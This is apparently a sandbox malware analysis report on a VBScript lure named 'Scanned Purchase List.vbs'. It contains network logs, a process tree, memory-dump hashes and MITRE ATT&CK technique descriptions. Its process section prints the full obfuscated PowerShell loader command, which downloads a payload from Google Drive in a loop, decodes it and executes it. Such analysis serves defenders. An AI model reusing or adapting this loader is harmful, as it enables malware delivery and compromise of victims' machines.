Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49767	142.250.185.142	443	7444	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 05:47:37 UTC	121	OUT	GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1 Host: drive.google.com Connection: Keep-Alive
2024-10-01 05:47:37 UTC	1319	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 01 Oct 2024 05:47:37 GMT Location: https://drive.usercontent.google.com/download?id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-g9BJC--5qyrzrDuLzJ-vSQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49768	142.250.185.142	443	7444	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 05:47:42 UTC	121	OUT	GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1 Host: drive.google.com Connection: Keep-Alive
2024-10-01 05:47:43 UTC	1319	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 01 Oct 2024 05:47:42 GMT Location: https://drive.usercontent.google.com/download?id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-STaQi4Tp1l2-pgMQZlo0OQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Target ID:	0
Start time:	01:45:34
Start date:	01/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Scanned Purchase List.vbs"
Imagebase:	0x7ff79a000000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	01:45:36
Start date:	01/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#selvhrdendes Opdrager Hjremarginerne Dundertaler #>;$Usolidere43='Councilmen';<#Herredmmer Plasmagenic Jdindernes suttene Korjambisk decelerationsbanen Udskejelser #>;$Dimit=$host.PrivateData;If ($Dimit) {$Pantagraphic++;}function doublecrossing($spisevgringer253){$Driftsbesparelse=$Gucki+$spisevgringer253.Length-$Pantagraphic;for( $Crunchingly=3;$Crunchingly -lt $Driftsbesparelse;$Crunchingly+=4){$Nikeno+=$spisevgringer253[$Crunchingly];}$Nikeno;}function tramelling($Perhapses){ & ($boligydelsen) ($Perhapses);}$sortkldt=doublecrossing 'talM ,fospazLociDatls il Kna D,/Asy5 ke.Ind0Res Lo,(svaW oiHornfordf noanswA ss sm CoN,jrT s. Art1Epa0so,.vet0,ie;P r shoWpasi enA.y6D g4Hav;C b seexLtr6De 4 lo;Mis oerChev ,r: Ud1Ans2tra1Fer.Ri.0Unl)Les ChaG FrestocNe kUndo Ar/sor2Mur0.au1Lok0 F 0Zef1Pso0 Do1 Pr IdFEmiiVenrTegeModf umocanx a/E.i1Out2Ung1Mos. n0 A. ';$Panservaaben=doublecrossing ' s UDiss PaE AsR.lt- Unap lGTapeBjlnOlet r ';$Encheson=doublecrossing 'Gyrh aatP ntPespKnas Ti:Beh/ i/Le d T.rFrai RevFrieImp. s g Inosl.oMosg Jal steHys.RencAngomidmUn,/ vuPercWhe? Kne ndx stp ero rrct tplu=Pred H,ostiwpannsy,lIm oBriaEssd il&KaliF,idE f=h s1LanO DuQTyrEB rlAcc7OveU ,aGsulOPipyUncKsids VaPDecd ,aR npJ Gr9Dis1 eng L wH mqst os,rI ifV T NLinNindRLinsJea6stiPOmbVFur9 ti4Bri ';$Dioxid=doublecrossing ' s.>Fib ';$boligydelsen=doublecrossing 's aistoeAppxs m ';$Manducation='springklaps';$Drinksenes='\Paralytical.Nap';tramelling (doublecrossing 'Otu$Ar gstjl,hooEf.bCl,aCavlBev:Gerc R o Fiu RinepotsaceCamrEvaaLnorBregGr u eelimsVis=Egy$WooeJ.nn olvs l:MedaDmppTw.pPred aaasyrtMaravu.+ yk$ M DHipr eliKilnpeakskasNonepitnPhaeTilsFur ');tramelling (doublecrossing ',or$sozg emlD ro KebA taUnilPra:AcrsI vtImpyG,irE otBindManyRookFa kU ceButr Ln=Pol$ AtEAman.ykcBilhIndes.hsKeeoJobn Pa.Tyns ekpsy,lsleiAb tHav(Bil$ svD.eyiUngoCruxPleiDord To) sc ');tramelling (doublecrossing 'Maw[DifNCamestrtTer.kilsV,le sir Mev FaiBescDaweFerPTheoHypiUndnso.tNskM s.a M ns,maspegsameRidr K ] a: on:Na.sdove ApcHabuPa.r ,riJart apyskuPst,rA coskatA koF,lcAn o NelNon n= Nu kv[ ndNR aeQuatCo . VasPite BacstousynrA gisartLgtyOplPNerrTrao TrtBndoGlucHe oCyclAlaTR gyEkspsa e d]Avo:F r: phTNonlMarsP,e1s o2Idi ');$Encheson=$styrtdykker[0];$Northwardly=(doublecrossing ' Ou$sogGs mLPlaONonBTerAGlaL Or:steLIntIs oGUn H ktT p,a MtGForesl.6 Ma8s,v=optnAarE BawPar-TheostaBMilJIfaE HoC UvTnon EarsF rYLa.s.potFeeED lMHov.DelNK aE untFor.OvewJonEA,sbOplCGelL KeIsenePs nAndT sp ');tramelling ($Northwardly);tramelling (doublecrossing ' Cr$DiaLRe iDkfgL phEmutAfkaRidgEnfeFre6Til8Cir.MarHOvaePa asa.dVapestar sesFag[ un$ConPToraVo n D sBl eConrP lv TuaRa ashob Ade AnnCem].as= p$At s Kao.ntrPhotFikky pltrid K tMis ');$semicolloquially=doublecrossing ' F $.oaLHlei N gRovhReitMi as ng PreBad6Ur.8Fum.strDTypo Prwsydn rulozooAu aFerdan FBetiB ml beeMyo(Pse$ onEOffn Unc mohInceKorsCicoaftnser,sep$C,aB EmiPunl Asl s aU raNonn ineBaltA asD.t) su ';$Billaanets=$counterargues;tramelling (doublecrossing ' or$BilGBomLEneoB tbslaaBorlThr:r taPolP InoBo.CKa rIndiFugs riiTemA RaRElsY.al=Bar(T lTsquemars stT.ar-H.aP DraRabTRekHUns Ve $FisbOphIfreLM.nL saa LoAProNslaEsuktValsUni) h ');while (!$Apocrisiary) {tramelling (doublecrossing 'But$kurgAn,lLabo eb omaUnplHay:Rare tuuRovpQuah,oro P r BebKopiUndaMsslMaa=End$PretskorT auAc e ca ') ;tramelling $semicolloquially;tramelling (doublecrossing 'Ejesne tAn a inrHeatCol-BrassamlUnde epeNatpDag Ove4Des ');tramelling (doublecrossing 'Hil$ Img flsk oConbmisaDenlFra:MasA edpEnaoEkscPr,rBesiYo.sCrei Coa Vgr LuyA t=sun(K lTIngeAngsF,etGen- F.PProajawt M,hUrt Uni$sa Bskai VelDefls aaD pa O n oeMu.tG as wh)ste ') ;tramelling (doublecrossing ' W.$ m g KolUddoArab onaAu l re: spEs unNa.est rsikg.isieftmI fnDdsg HjdstueN n=Ord$ TygCollNaroTrubLeuaGullLyd:FalTP,oiTypdA bsA phFo.o scr U,i ResBisoGran.omt Wase b+ Di+fo %Dre$EnhsOmvtAs,yOpdr astEpidDy,yFl.kLyckFale efrUnd..emcManospruFusnDyrtsk, ') ;$Encheson=$styrtdykker[$Energimngde];}$Arthriticine=282118;$sorteringsordenen=30262;tramelling (doublecrossing 'Pl.$WabgCenlslaoLeubFraa jal t : g.Osi.mBets ortGloy U.rProtPseeHyptEpi slv=Bai st G Alesutt.xa-sacC PtoPosnP ntHa.eLu.n cetC.e Br$ .tBen,i amlPral leaBliasarnOldeMontEkss Di ');tramelling (doublecrossing 'sty$salg Auls po ekb abaph lOpe:,arsso.t pioBard CodGene ajrFlikVano PrnspigE ee phnU d Ext=E e mi.[Mi sTepyFlysOlitTaveKipm.ol. emCspyosannFunv HaeAmpr CotOm ]B,g:Beg:VouFD,nr.etoUnwmscrBsc aKapsLuneUpp6Pis4 Hos TwtIntrCh iAfgnraagTer(Kam$EmpOB.omAmbssket piyJu r,ret R eApptAld) sl ');tramelling (doublecrossing 'Fi $,mmgjo l skoPosb O.asunl i:by,NKo,o C tD ma.xmrsc iBoazKomisarnRefgB.a Ma=Euc Unc[ HasD nyTemsBettBiseFlamM k.RomTI seDisxambtBlo.WigEOs nDigcBabo Pad PliAfsnTimgTik],kr:De : slAFars ReCUnuIsamI.ta. H,G .reEsttConsCymtU ora,visa nHoggInf(ye $Fr s ngt A,oBledAardRe e MorInskVagoF,dnMicgAlleCatnall) Re ');tramelling (doublecrossing 'Mya$ eg ypl,kooU sb.oua.hol gn:TreC,ighsweuLancCsuk ,oyse.=Lio$Mi NPasoO.ltBloa C ra si DizAfkiNo n.argskr.AmpsNymu U,b sksGr tTv,rDiviseenmaagFor(T.e$,arA FurstytIndhBelrTiliNontGenis.lc nistyn,tiePha,bin$ ous,eaoKonr T,tMeleKokrHo iLinnEntgTilsshaoBarr MadKroe Ben AceNo n T ) ka ');tramelling $Chucky;"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	01:45:36
Start date:	01/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Function 00007FFD9BA0546C Relevance: .5, Instructions: 501COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3015046778.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9ba00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fa552a4bae80145d0ccf13562531830574b965e12a52b7af6243e7c0fc6d5a3
Instruction ID: 40a17bd1f2cf03c554d884909a3ba9eb9b02f1f64ade9c625970a7d23421298d
Opcode Fuzzy Hash: 2fa552a4bae80145d0ccf13562531830574b965e12a52b7af6243e7c0fc6d5a3
Instruction Fuzzy Hash: 6CF1C330A18A4D8FDF98EF5CC8A5EA977E1FF69300F15016AD449D7296CA75EC41CB80

Function 00007FFD9BAD4580 Relevance: .4, Instructions: 414COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3015383948.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9bad0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567757185da8e40f4094093cf194ec2bdc5c96150c6ade1b65ca054d489e99c2
Instruction ID: 137232d11ada13b2dfb79c6df4664d3d624693051ab6d1cea208070e189982d8
Opcode Fuzzy Hash: 567757185da8e40f4094093cf194ec2bdc5c96150c6ade1b65ca054d489e99c2
Instruction Fuzzy Hash: 5EC13822B0FA8E0FE7A99768586557937D1EFC2350B0A02BEE45EC71F3DE58AD018341

Function 00007FFD9BAD46C4 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3015383948.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9bad0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 286f9460c10d74783703513774cba5f0bbb653c34d6c6bd9303917a4d1f47a2c
Instruction ID: ec68e6a846414bf40f25bcd0a49f430c26aa3d7aba21d3573359fbc44891dc9a
Opcode Fuzzy Hash: 286f9460c10d74783703513774cba5f0bbb653c34d6c6bd9303917a4d1f47a2c
Instruction Fuzzy Hash: 8C212622F0FA8E0FE3B9A76854B517566C2EFD2250B5A01BEE45DC32F3ED59AC058301

Function 00007FFD9BAD19AF Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3015383948.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9bad0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcaad8c49f45e48d9fd0c86c398487c215e26b91c6f0253bb0f648b85456ed1c
Instruction ID: e3ea2dcd612b9359c1a8bf95b664ad4f09875496098b621d73b21528e7f62737
Opcode Fuzzy Hash: dcaad8c49f45e48d9fd0c86c398487c215e26b91c6f0253bb0f648b85456ed1c
Instruction Fuzzy Hash: 42213052B0FAC90FE761A76818692A86BD1DFA6650B1940FFC09CCB1F3DC481C0A8302

Function 00007FFD9BAD71F5 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3015383948.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9bad0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d751f49ccb9a2b8acb5174ecd18b17398cd9b182ff27c72d7c1f3b784aff7048
Instruction ID: 615b303c4bbbbaa05ad55d43a3f62763639203203f4a7efe962ef68f0c48c620
Opcode Fuzzy Hash: d751f49ccb9a2b8acb5174ecd18b17398cd9b182ff27c72d7c1f3b784aff7048
Instruction Fuzzy Hash: DE01F922F0E6C90FEB69EB9C50605A8BBD2EF99310F4401BEE48DD7093D9545D008350

Function 00007FFD9BA041E5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3015046778.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9ba00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e6ffc2d01485e3675e6a7ede7ef7c0dc479045d5709cc38633428d358b59bad
Instruction ID: c20e5037b83526d5eba0af566b53653c9fee128c971c83e7493f47a61ebd04fb
Opcode Fuzzy Hash: 3e6ffc2d01485e3675e6a7ede7ef7c0dc479045d5709cc38633428d358b59bad
Instruction Fuzzy Hash: A801843020CB0C4FD748EF0CE051AA5B3E0FB95324F10056EE58AC36A5DA22E882CB41

Function 00007FFD9BAD7224 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3015383948.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9bad0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18397aec6e3f5d815dae4027e98da09332de3eccf2af6b4d60db815d8c538be3
Instruction ID: dbed43c6979711c3e7889f96e90e3a641db667ba98501d58d25167dea6c3be27
Opcode Fuzzy Hash: 18397aec6e3f5d815dae4027e98da09332de3eccf2af6b4d60db815d8c538be3
Instruction Fuzzy Hash: C9F0B432F0E6880FEB55EBA854655E8BBA1EB59354F0401BFD09CD2193E82518418760

Non-executed Functions

Function 00007FFD9BA04BA8 Relevance: 5.3, Strings: 4, Instructions: 271COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9BA04CC2
^, xrefs: 00007FFD9BA04D7A
OE^I, xrefs: 00007FFD9BA04BB4
+f[, xrefs: 00007FFD9BA04C04

Memory Dump Source

Source File: 00000001.00000002.3015046778.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9ba00000_powershell.jbxd

Similarity

API ID:
String ID: +f[$I$OE^I$^
API String ID: 0-54979186
Opcode ID: 430638dcd7adb77868906c438a980d7bf150a644358977d60defe4b414f852c5
Instruction ID: 95f998be264722fa46941b39ce111e72b6bda05d09b4114ba89203bc8c532063
Opcode Fuzzy Hash: 430638dcd7adb77868906c438a980d7bf150a644358977d60defe4b414f852c5
Instruction Fuzzy Hash: 41819F63B0F7D64BF7224B6858760B53F70FF53125B0A42FBC4D58A0F39D4529068261

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Scanned Purchase List.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_00datdxo.taw.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f3vuqqwq.ftk.psm1

Static File Info

General

File Icon

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Windows Analysis Report
Scanned Purchase List.vbs